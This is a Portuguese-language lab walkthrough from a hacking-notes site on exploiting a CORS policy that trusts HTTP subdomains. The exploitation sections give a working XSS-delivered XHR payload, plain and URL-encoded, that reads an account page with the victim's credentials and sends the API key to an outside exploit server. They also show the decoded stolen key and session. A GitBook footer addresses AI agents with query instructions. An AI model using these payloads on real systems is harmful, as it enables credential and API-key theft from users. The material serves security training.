> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cors/cors-with-trusted-insecure-protocols.md).

# CORS com Protocolos Inseguros Confiáveis

### Vulnerabilidade de CORS com protocolos inseguros confiáveis

O site tem uma configuração de CORS vulnerável: ele confia em todos **subdomínios**, mesmo ao usar **HTTP**. O objetivo é recuperar a chave de API do administrador via CORS e extraí-la para o servidor de origem.

Credenciais fornecidas: `wiener:peter`.O site tem uma configuração de CORS vulnerável: ele confia em todos **subdomínios**, mesmo ao usar **HTTP**. O objetivo é recuperar a chave de API do administrador via CORS e extraí-la para o servidor de origem.

Credenciais fornecidas: `wiener:peter`.

#### Observações

* O domínio raiz é aceito em **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/c0dab1b15b5ec8eef01eca2039834832c019c9a7" alt=""><figcaption></figcaption></figure>

**Subdomínios** em HTTP também são aceitos:

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/7b926ae7446bf1b982560b11077607ab9a7b9489" alt=""><figcaption></figcaption></figure>

Subdomínio identificado via stockcheck:

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="/files/63298f57fa6f642e3939913edb38f5dfb9822cfc" alt=""><figcaption></figcaption></figure>

Este item reflete `productId` → \*\* Injeção HTML/JS\*\* possível:

```html
?productId=test&storeId=1
```

<figure><img src="/files/f81235f216ac1065b3a9cef8ac984a8e8e375a6e" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="/files/e45bc80c7ac7ee25789f941da063565ceb25029b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b4bce8b0d4102078d13a96568284db431f17838c" alt=""><figcaption></figcaption></figure>

#### Exploração: Leitura `/accountDetails` e Exfiltração

Script XHR usado (enviado via subdomínio):

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

Injete o script no `productId` parâmetro do subdomínio vulnerável:

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

Redirecione para a URL para explorar com a `apiKey` variável contendo a resposta codificada.

<figure><img src="/files/7b61794e8a43e915393eeec4bf262d08fd9af5de" alt=""><figcaption></figcaption></figure>

#### Carga útil enviada à vítima (versão codificada na URL)

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* Recebendo a chave da API no servidor para explorar via o `apiKey` parâmetro.

<figure><img src="/files/382e3c78d1d37a4e6bdf8ba8b30707404878f95b" alt=""><figcaption></figcaption></figure>

* Decodificação realizada com:

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="/files/ae67fc0a1a4030b88211bda1af0bb27de96869cb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/cors/cors-with-trusted-insecure-protocols.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
